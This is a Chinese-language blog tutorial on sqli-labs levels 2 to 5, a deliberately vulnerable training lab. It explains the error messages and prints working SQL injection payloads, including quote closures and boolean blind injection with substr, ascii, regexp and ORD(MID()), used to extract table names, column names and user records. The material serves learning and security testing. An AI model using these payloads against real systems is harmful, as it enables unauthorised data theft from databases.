sqli-labs 2-5 初识盲注
Less-2
在数字后加单引号报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
‘’ LIMIT 0,1’说明但单引号破坏了查询语句的平衡,可以推测出使用的是整数
Select * from TABLE where id = (some integer value);
所以对id没有任何处理,所以可以注入成功的有 or 1=1
或者or 1=1 --+
因此只需要将less1中的单引号去掉即可,同样使用sqlmap
时,各项的命令的相同。
Less-3
数字后加单引号
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
‘’1’’) LIMIT 0,1’说明使用的是 SELECT * FROMusers WHERE id=('$id') LIMIT 0,1
这种查询方式
所以可以注入的有
1 | ') or '1'=('1' |
注入方式就是将less-1中的单引号改为 ')
过程简单写
1 | http://43.247.91.228:84/Less-3/?id=0 ') order by 3 --+ #查询列数 |
使用sqlmap
时,各项的命令的相同。
Less-4
数字后加单引号不报错,加双引号报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
根据‘“1””) LIMIT 0,1’ 推测使用") --+
闭合和注释
查询源码,使用的查询语句为
$sql="SELECT * FROMusers WHERE id=(“$id”) LIMIT 0,1";
将less-1中构造的注入语句中的单引号改为 ")
就可以
使用sqlmap
时,各项的命令的相同。
Less-5
这一关开始接触盲注,首先了解一下什么是盲注
何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从background-1中,我们可以知道盲注分为三类
- 基于布尔SQL盲注
- 基于时间的SQL盲注
- 基于报错的SQL盲注
这一关中当数据库命令执行出错时,只返回 you are in....
http://43.247.91.228:84/Less-5/?id=0
页面不正常,未出现you are in ...
加上单引号 http://43.247.91.228:84/Less-5/?id=0 ' or 1=1 --+
恢复正常
所以推测数据库查询语句和第一关一样 ,只要闭合单引号就可以
使用length()
函数会返回相应字段的长度
构造语句查询数据库的长度
http://43.247.91.228:84/Less-5/?id=1 ' and length(database())>7 --+
不断增加后面的数字,直到页面出现变化,判定出数据库名字的长度为8
下面开始猜每一位具体是什么
1 | http://43.247.91.228:84/Less-5/?id=1 ' and left(database(),1)>'a' --+正常 |
这样猜下去就能得到每一位的值,但是太麻烦。可以用脚本判断,或者直接用sqlmap
猜解名字还可以使用 substr() ascii()函数进行尝试,这里使用它们来获得security数据库下的表名
1 | http://43.247.91.228:84/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>90 --+#页面正常 |
这样使用二分法猜解下去,最后得到第一个值为 ‘e’,然后修改 limit 0,1),1,1) 中倒数第二个1的数值,来猜解第一个表名的每一位,修改 limit后面的那个0,来确定不同的表,这样依次猜解下去就得到了所有的表名。
下面猜解列名,使用regexp
正则表达式进行查询
1 | http://43.247.91.228:84/Less-5/?id=1 ' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) --+# 页面正常 |
同样,将username
改成password
和 id
也对,这里可以使用正则表达式来猜解列名,这里只是说明原理,具体操作可以使用工具或者自己写脚本。
MID()函数
SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
ORD() 函数
ORD() 函数返回字符串第一个字符的 ASCII 值。
语法: ORD(string)
接下来使用mid()函数
和ord()
函数来获得users表中的内容,获得username中的第一行的第一个字符,
1 | http://43.247.91.228:84/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68 --+ |
就使用这样的语句,修改相应的值,不断重复,最后就获得了所有的值。
因为比较简单,这里使用sqlmap还是和之前一个样。
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/cde68b77.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!